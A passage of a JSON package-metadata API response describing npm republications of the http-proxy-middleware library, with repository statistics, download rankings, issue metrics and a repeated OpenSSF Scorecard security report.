patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34914647,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-29T02:00:05.398Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-07-07T06:22:16.689Z","dependent_packages_count":1,"downloads":20,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":54.12805865929274,"dependent_repos_count":25.30552159382132,"dependent_packages_count":16.219766897652278,"stargazers_count":1.303227349384177,"forks_count":1.6788649230375925,"average":19.72708788463762},"purl":"pkg:npm/%40mariuszbartnik/http-proxy-middleware","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@mariuszbartnik/http-proxy-middleware","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/@mariuszbartnik/http-proxy-middleware","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@mariuszbartnik/http-proxy-middleware/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-03-07T02:25:53.474Z","issues_count":134,"pull_requests_count":268,"avg_time_to_close_issue":10873844.578125,"avg_time_to_close_pull_request":4257425.956896552,"issues_closed_count":64,"pull_requests_closed_count":232,"pull_request_authors_count":42,"issue_authors_count":129,"avg_comments_per_issue":4.843283582089552,"avg_comments_per_pull_request":1.3246268656716418,"merged_pull_requests_count":188,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":15,"past_year_pull_requests_count":88,"past_year_avg_time_to_close_issue":306048.3333333333,"past_year_avg_time_to_close_pull_request":54242.293333333335,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":75,"past_year_pull_request_authors_count":10,"past_year_issue_authors_count":14,"past_year_avg_comments_per_issue":0.5333333333333333,"past_year_avg_comments_per_pull_request":1.3863636363636365,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":65,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","maintainers":[{"login":"chimurai","count":189,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}],"active_maintainers":[{"login":"chimurai","count":76,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@mariuszbartnik%2Fhttp-proxy-middleware/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@mariuszbartnik%2Fhttp-proxy-middleware/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@mariuszbartnik%2Fhttp-proxy-middleware/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@mariuszbartnik%2Fhttp-proxy-middleware/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@mariuszbartnik%2Fhttp-proxy-middleware/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@mariuszbartnik%2Fhttp-proxy-middleware/codemeta","maintainers":[{"uuid":"mariuszbartnik","login":"mariuszbartnik","name":null,"email":"mariuszbartnik@gmail.com","url":null,"packages_count":2,"html_url":"https://www.npmjs.com/~mariuszbartnik","role":null,"created_at":"2022-11-17T01:21:50.628Z","updated_at":"2022-11-17T01:21:50.628Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/mariuszbartnik/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5666668,"maintainers_count":1207881,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":2061140,"name":"nb-http-proxy","ecosystem":"npm","description":"The one-liner node.js proxy middleware for connect, express and browser-sync","homepage":"https://github.com/chimurai/http-proxy-middleware","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","keywords_array":["reverse","proxy","middleware","http","https","connect","express","browser-sync","gulp","grunt-contrib-connect","websocket","ws","cors"],"namespace":null,"versions_count":1,"first_release_published_at":"2021-11-03T02:31:33.594Z","latest_release_published_at":"2021-11-03T02:31:33.594Z","latest_release_number":"1.0.5","last_synced_at":"2026-07-10T15:02:13.788Z","created_at":"2022-04-09T20:27:58.422Z","updated_at":"2026-07-10T15:02:13.789Z","registry_url":"https://www.npmjs.com/package/nb-http-proxy","install_command":"npm install nb-http-proxy","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"1.0.5"}},"repo_metadata":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy middleware for connect, express, next.js and more","archived":false,"fork":false,"pushed_at":"2026-06-27T18:48:14.000Z","size":4416,"stargazers_count":11132,"open_issues_count":22,"forks_count":881,"subscribers_count":113,"default_branch":"master","last_synced_at":"2026-06-29T01:19:25.768Z","etag":null,"topics":["browser-sync","connect","express","fastify","hono","http-proxy","httpxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2026-06-27T18:48:18.000Z","dependencies_parsed_at":"2024-01-29T07:26:28.290Z","dependency_job_id":"c2a3f314-ac82-4c44-9219-3b82cbfa0f8e","html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":87,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34914647,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-29T02:00:05.398Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-07-07T06:22:16.944Z","dependent_packages_count":1,"downloads":40,"downloads_period":"last-month","dependent_repos_count":1,"rankings":{"downloads":64.15214408213546,"dependent_repos_count":10.769523647389562,"dependent_packages_count":21.318711782054763,"stargazers_count":1.0444379974737972,"forks_count":1.3404459584921793,"docker_downloads_count":null,"average":19.725052693509152},"purl":"pkg:npm/nb-http-proxy","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/nb-http-proxy","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/nb-http-proxy","dependen